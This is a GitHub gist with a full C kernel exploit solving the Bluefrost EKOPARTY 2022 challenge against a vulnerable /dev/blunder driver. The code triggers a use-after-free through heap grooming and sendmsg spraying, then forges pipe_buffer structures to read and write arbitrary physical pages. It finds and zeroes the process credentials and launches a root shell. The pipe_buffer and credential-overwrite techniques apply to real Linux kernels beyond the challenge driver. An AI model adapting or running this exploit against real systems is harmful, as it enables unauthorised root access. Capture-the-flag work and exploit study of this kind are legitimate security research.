Created
September 30, 2023 14:24
-
-
Save soez/9a741258857c1f2e7d0f0933030cd1ea to your computer and use it in GitHub Desktop.
Bluefrost challenge - EKOPARTY_2022
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* | |
* Author: @javierprtd | |
* Date : 28-09-2023 | |
* Kernel: 6.2.0 | |
* | |
*/ | |
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <sys/mman.h> | |
#include <sys/ioctl.h> | |
#include <string.h> | |
#include <pthread.h> | |
#include <sys/wait.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <stdbool.h> | |
#include <sys/syscall.h> | |
#include <sys/resource.h> | |
#include <sys/prctl.h> | |
#define STACK_SIZE (1024 * 1024) | |
#define OFFSET_TO_BLUNDER_PROC 0x48 | |
#define MAX_FILES 4 | |
#define MAX_PIPES 0x400 | |
#define NUM_THREADS 0x100 | |
#define BUF_SIZE 0x80 | |
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 | |
#define SZ 0x20000 | |
#define IOCTL_BLUNDER_SET_CTX_MGR _IOWR('s', 1, uint64_t) | |
#define IOCTL_BLUNDER_SEND_MSG _IOWR('s', 2, struct blunder_user_message) | |
#define IOCTL_BLUNDER_RECV_MSG _IOWR('s', 3, struct blunder_user_message) | |
#define IOCTL_BLUNDER_FREE_BUF _IOWR('s', 4, void *) | |
struct pipe_buffer { | |
uint64_t page; | |
uint32_t offset; | |
uint32_t len; | |
uint64_t ops; | |
uint32_t flags; | |
uint32_t pad; | |
uint64_t private; | |
}; | |
struct pipe_buf_operations { | |
uint64_t confirm; | |
uint64_t release; | |
uint64_t steal; | |
uint64_t get; | |
}; | |
struct blunder_user_message { | |
int handle; | |
int opcode; | |
size_t *data; | |
size_t data_size; | |
size_t *offsets; | |
size_t offsets_size; | |
int *fds; | |
size_t num_fds; | |
}; | |
struct realloc_thread { | |
size_t proc; | |
int cpu; | |
int pair[2]; | |
}; | |
volatile int do_realloc; | |
struct realloc_thread threads[NUM_THREADS]; | |
int fd[MAX_FILES]; | |
int pipefd[MAX_PIPES][2]; | |
int open_blunder(void *arg) { | |
int i = *(int *) arg; | |
fd[i] = open("/dev/blunder", O_RDWR); | |
if (fd[i] < 0) { | |
puts("couldn't open device"); | |
} | |
exit(EXIT_SUCCESS); | |
} | |
/* | |
* Attach to a specific CPU. | |
*/ | |
bool pin_cpu(int cpu) { | |
cpu_set_t set; | |
CPU_ZERO(&set); | |
CPU_SET(cpu, &set); | |
if (sched_setaffinity(0, sizeof(set), &set) < 0) { | |
perror("[-] sched_setafinnity(): "); | |
return false; | |
} | |
return true; | |
} | |
int realloc_msg(void *arg) { | |
struct realloc_thread *thread = (struct realloc_thread *) arg; | |
struct msghdr mhdr; | |
struct iovec iov; | |
struct cmsghdr *cmsg; | |
char buf[BUF_SIZE]; | |
memset(&iov, 0, sizeof(iov)); | |
memset(&mhdr, 0, sizeof(mhdr)); | |
if (!pin_cpu(thread->cpu)) | |
goto fail; | |
iov.iov_base = buf; | |
iov.iov_len = BUF_SIZE; | |
mhdr.msg_iov = &iov; | |
mhdr.msg_iovlen = 1; | |
// Fill the queue | |
while (sendmsg(thread->pair[0], &mhdr, MSG_DONTWAIT) > 0); | |
while (!do_realloc); | |
uint64_t refcount = 0x1, size = 0x200; | |
memcpy(buf + 0x40, &thread->proc, 8); | |
memcpy(buf + 0x48, &thread->proc, 8); | |
memcpy(buf + 0x50, &refcount, 8); | |
memcpy(buf + 0x58, &size, 8); | |
cmsg = (struct cmsghdr *) buf; | |
cmsg->cmsg_level = 0; | |
cmsg->cmsg_type = 1; | |
cmsg->cmsg_len = BUF_SIZE; | |
memcpy(CMSG_DATA(cmsg), buf, BUF_SIZE - 0x10); | |
mhdr.msg_control = cmsg; | |
mhdr.msg_controllen = BUF_SIZE; | |
/* This will block */ | |
if (sendmsg(thread->pair[0], &mhdr, 0) < 0) { | |
perror("[-] sendmsg"); | |
goto fail; | |
} | |
return 0; | |
fail: | |
printf("[-] REALLOC THREAD FAILURE!!!\n"); | |
return 0; | |
} | |
void hexdump(uint64_t *buf, uint64_t size) { | |
for (int i = 0; i < size / 8; i += 2) { | |
printf("0x%x ", i * 8); | |
printf("%016lx %016lx\n", buf[i], buf[i + 1]); | |
} | |
} | |
int shell() { | |
if (getuid()) { | |
printf("FAIL\n"); | |
exit(1); | |
} | |
printf("[+] Enjoy root shell :)\n"); | |
char *cmd = "/bin/bash"; | |
char *args[] = {cmd, "-i", NULL}; | |
execve(cmd, args, NULL); | |
return 0; | |
} | |
uint64_t elevate_privs(struct pipe_buffer *fakepipe, uint64_t mem_map) { | |
uint32_t pos = 0; | |
int32_t n = 0; | |
uint64_t page = 0; | |
char buf[4096] = {0}; | |
char buf_c[8] = { [0 ... 7] = 0xcc }; | |
char *name = "exp1337"; | |
prctl(PR_SET_NAME, name, 0, 0, 0); | |
/* Searching for credentials page */ | |
for (uint64_t i = 0; i < 0x10000; i++) { | |
// map in /proc/iomem | |
page = (mem_map + ((0x100000000 >> 12) * 0x40)) + (0x40 * i); | |
fakepipe->page = page; | |
fakepipe->offset = 0; | |
fakepipe->len = 4096 + 1; // To avoid release | |
fakepipe->flags = PIPE_BUF_FLAG_CAN_MERGE; | |
if (!pos) { | |
for (int j = 0; j < MAX_PIPES; j++) { | |
n = read(pipefd[j][0], buf, 4096); | |
if (n < 0 || strncmp(buf, buf_c, 8)) { | |
printf("[+] pipe fd found at %dth\n", j); | |
pos = j; | |
break; | |
} | |
bzero(buf, 4096); | |
} | |
} else { | |
bzero(buf, 4096); | |
n = read(pipefd[pos][0], buf, 4096); | |
} | |
if (n != 4096) continue; | |
char *off = memmem(buf, 4096, name, strlen(name)); | |
if (off) { | |
uint64_t creds = 0, real_creds = 0; | |
creds = *(uint64_t *) (off - 16); | |
real_creds = *(uint64_t *) (off - 24); | |
if (creds && real_creds && creds == real_creds) { | |
puts("[+] Creds found!!"); | |
// hexdump((uint64_t *) buf, 4096); | |
char zeroes[0x20] = { [0 ... 0x1f] = 0 }; | |
uint64_t task = (*(uint64_t *) (off - 320)) - 0xb8; | |
uint64_t cred_page = 0; | |
/* In this way, we will find the distance to the credentials page */ | |
if (task > creds) { | |
cred_page = page - ((task >> 12) - (creds >> 12)) * 0x40; | |
} else { | |
cred_page = page + ((creds >> 12) - (task >> 12)) * 0x40; | |
} | |
int count = 0; | |
uint64_t cred_off = creds & 0xfff; | |
intent: | |
count++; | |
fakepipe->page = cred_page; | |
fakepipe->offset = cred_off + 4; | |
fakepipe->len = 0; | |
fakepipe->flags = PIPE_BUF_FLAG_CAN_MERGE; | |
int n_w = write(pipefd[pos][1], zeroes, 0x20); | |
if (getuid() && count == 1) { | |
cred_page = cred_page - 0x40; | |
goto intent; | |
} | |
if (n_w == 0x20) { | |
puts("[+] Patched"); | |
shell(); | |
} else { | |
puts("[+] Fail patching :("); | |
exit(1); | |
} | |
} | |
} | |
// puts("[+] Continue for another page ..."); | |
} | |
puts("[+] No creds found :("); | |
} | |
int main(int argc, char *argv[]) { | |
uint64_t addr = 0x10000; | |
int tid[MAX_FILES], freed = -1, normal = -1, victim = -1; | |
uint64_t proc; | |
uint64_t *map[MAX_FILES]; | |
struct blunder_user_message umsg; | |
void *stack = calloc(1, STACK_SIZE); | |
pin_cpu(0); | |
puts("[+] Bluefrost challange - EKOPARTY_2022"); | |
puts("[+] Opening several fd /dev/blunder ..."); | |
/* Searching for contiguous proc structs */ | |
for (int i = 0; i < MAX_FILES; i++) { | |
tid[i] = clone(open_blunder, stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, &i); | |
if (tid[i] < 0) { | |
puts("couldn't create child process"); | |
exit(0); | |
} | |
wait(NULL); | |
if ((map[i] = mmap((void *) addr, SZ, PROT_READ, MAP_SHARED | MAP_FIXED, fd[i], 0)) == MAP_FAILED) { | |
perror("[-] mmap()"); | |
exit(0); | |
} | |
mprotect((void *) addr, SZ, PROT_READ | PROT_WRITE); | |
addr += SZ; | |
if (victim == -1) { | |
for (int j = 0; j <= i; j++) { | |
uint32_t r = (map[i][1] - OFFSET_TO_BLUNDER_PROC) - (map[j][1] - OFFSET_TO_BLUNDER_PROC); | |
if (r == BUF_SIZE) { | |
normal = i; | |
freed = j; | |
break; | |
} | |
} | |
switch (normal) { | |
case 0: switch (freed) { | |
case 1: victim = 2; | |
break; | |
case 2 ... 3: victim = 1; | |
break; | |
} | |
break; | |
case 1: switch (freed) { | |
case 0: victim = 2; | |
break; | |
case 2 ... 3: victim = 0; | |
break; | |
} | |
break; | |
case 2: switch (freed) { | |
case 0: victim = 1; | |
break; | |
case 1: victim = 0; | |
break; | |
case 3: victim = 1; | |
break; | |
} | |
break; | |
case 3: switch (freed) { | |
case 0: victim = 1; | |
break; | |
case 1: victim = 0; | |
break; | |
case 2: victim = 1; | |
break; | |
} | |
break; | |
} | |
} | |
} | |
if (victim == -1) { | |
puts("couldn't get fd victim"); | |
exit(0); | |
} | |
printf("[+] fd normal: %d\n", fd[normal]); | |
printf("[+] fd to be freed: %d\n", fd[freed]); | |
printf("[+] fd to be victim: %d\n", fd[victim]); | |
printf("[+] Sending to fd: %d victim one msg ...\n", fd[victim]); | |
umsg.handle = tid[victim]; | |
umsg.data = calloc(1, 0x100); | |
memset(umsg.data, 0x42, 0x100); | |
umsg.data_size = 0x100; | |
umsg.offsets_size = 0; | |
umsg.num_fds = 0; | |
/* Sending one message to get leak information and handle de bundle_buffer in user space */ | |
ioctl(fd[victim], IOCTL_BLUNDER_SEND_MSG, (struct blunder_user_message *) &umsg); | |
printf("[+] blunder_proc to be freed: 0x%lx\n", map[freed][1] - OFFSET_TO_BLUNDER_PROC); | |
printf("[+] blunder_proc normal: 0x%lx\n", map[normal][1] - OFFSET_TO_BLUNDER_PROC); | |
uint64_t mapping = map[victim][(0x138 / 8)]; | |
printf("[+] victim mapping: 0x%lx\n", mapping); | |
puts("[+] sendmsg -> filling queue ..."); | |
/* Filling msgs queue */ | |
do_realloc = 0; | |
int ncpus = sysconf(_SC_NPROCESSORS_ONLN); | |
for (int i = 0; i < NUM_THREADS; i++) { | |
threads[i].proc = map[victim][1]; | |
threads[i].cpu = i % ncpus; | |
/* Create a socketpair. */ | |
if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, threads[i].pair) < 0) { | |
perror("[-] socketpair"); | |
exit(0); | |
} | |
stack = calloc(1, STACK_SIZE); | |
int tid = clone(realloc_msg, stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, &threads[i]); | |
if (tid < 0) { | |
perror("[-] clone"); | |
exit(1); | |
} | |
} | |
sleep(4); | |
printf("[+] unmap memory %p and close fd %d to free the first proc struct\n", map[freed], fd[freed]); | |
/* munmap and close to free the first proc struct */ | |
if (munmap((void *) map[freed], SZ) < 0) { | |
puts("couldn't unmap memory"); | |
exit(0); | |
} | |
close(fd[freed]); | |
/* spray sendmsg */ | |
do_realloc = 1; | |
puts("[+] sendmsg -> realloc msg ..."); | |
sleep(4); | |
puts("[+] Overwriting blunder_proc normal ..."); | |
umsg.handle = 0; | |
umsg.data = calloc(1, 0x100); | |
memset(umsg.data, 0x42, 0x100); | |
umsg.data_size = 0x100; | |
umsg.offsets_size = 0; | |
umsg.num_fds = 0; | |
proc = map[normal][1] - OFFSET_TO_BLUNDER_PROC - 0x30; | |
/* Overwriting the proc struct */ | |
ioctl(fd[normal], IOCTL_BLUNDER_SET_CTX_MGR, 0); | |
ioctl(fd[normal], IOCTL_BLUNDER_SEND_MSG, (struct blunder_user_message *) &umsg); | |
map[normal][0] = proc; | |
uint64_t refcount = 1, pid = getpid(), node = map[victim][1], k = mapping - 0x50000, g = mapping + 0x130, sz = SZ; | |
umsg.data = calloc(1, 0x58); | |
memcpy(((char *) umsg.data), (char *) &refcount, 0x8); | |
memcpy(((char *) umsg.data) + 0x8, (char *) &pid, 0x8); | |
memcpy(((char *) umsg.data) + 0x10, (char *) &node, 0x8); | |
memset(((char *) umsg.data) + 0x18, 0, 0x18); | |
memcpy(((char *) umsg.data) + 0x30, (char *) &mapping, 0x8); | |
memcpy(((char *) umsg.data) + 0x38, (char *) &sz, 0x8); | |
memcpy(((char *) umsg.data) + 0x40, (char *) &k, 0x8); | |
memcpy(((char *) umsg.data) + 0x48, (char *) &mapping, 0x8); | |
memcpy(((char *) umsg.data) + 0x50, (char *) &g, 0x8); | |
umsg.data_size = 0x58; | |
ioctl(fd[normal], IOCTL_BLUNDER_SEND_MSG, (struct blunder_user_message *) &umsg); | |
printf("[+] unmap memory %p and close fd normal %d to trigger victim UAF ...\n", map[normal], fd[normal]); | |
/* munmap and close to get UAF in victim map */ | |
if (munmap((void *) map[normal], SZ) < 0) { | |
puts("couldn't unmap memory"); | |
return 0; | |
} | |
close(fd[normal]); | |
sleep(2); | |
puts("[+] Spraying pipe_buffer ..."); | |
struct rlimit limit; | |
limit.rlim_cur = 65535; | |
limit.rlim_max = 65535; | |
if (setrlimit(RLIMIT_NOFILE, &limit) != 0) { | |
perror("[-] setrlimit()"); | |
exit(0); | |
} | |
sleep(2); | |
/* Spray pipe_buffer */ | |
for (int i = 0; i < MAX_PIPES; i++) { | |
if (pipe(pipefd[i]) < 0){ | |
perror("[-] pipe"); | |
exit(1); | |
} | |
// This will do that pipe_buffer size being of sizeof(struct pipe_buffer) * 4 = 40 * 4 = 160 -> kmalloc-192 | |
if (fcntl(pipefd[i][1], F_SETPIPE_SZ, 4096 * 4) < 0) { | |
perror("[-] fcntl"); | |
exit(1); | |
} | |
char buf[1337] = { [0 ... 1336] = 0xcc }; | |
if (write(pipefd[i][1], buf, 1337) < 0) { | |
perror("[-] write"); | |
exit(1); | |
} | |
} | |
// hexdump(map[victim], SZ); | |
/* Getting the vmemmap_base */ | |
uint32_t *buf = (uint32_t *) map[victim]; | |
uint32_t pos = -1; | |
struct pipe_buffer *fakepipe; | |
for (int j = 3; j < SZ / sizeof(uint32_t); j += sizeof(uint32_t)) { | |
if (buf[j] == 1337) { | |
puts("[+] pipe_buffer found!!"); | |
fakepipe = (struct pipe_buffer *) &buf[j - 3]; | |
pos = j - 3; | |
break; | |
} | |
} | |
if (pos == -1) { | |
puts("[-] No pipe buffer found :("); | |
exit(1); | |
} | |
printf("[+] pipe_buffer->page: 0x%016lx\n", fakepipe->page); | |
uint64_t mem_map = fakepipe->page & 0xfffffffff0000000; | |
printf("[+] vmemmap_base: 0x%016lx\n", mem_map); | |
puts("[+] Elevating privileges ..."); | |
/* Elevating privileges */ | |
elevate_privs(fakepipe, mem_map); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment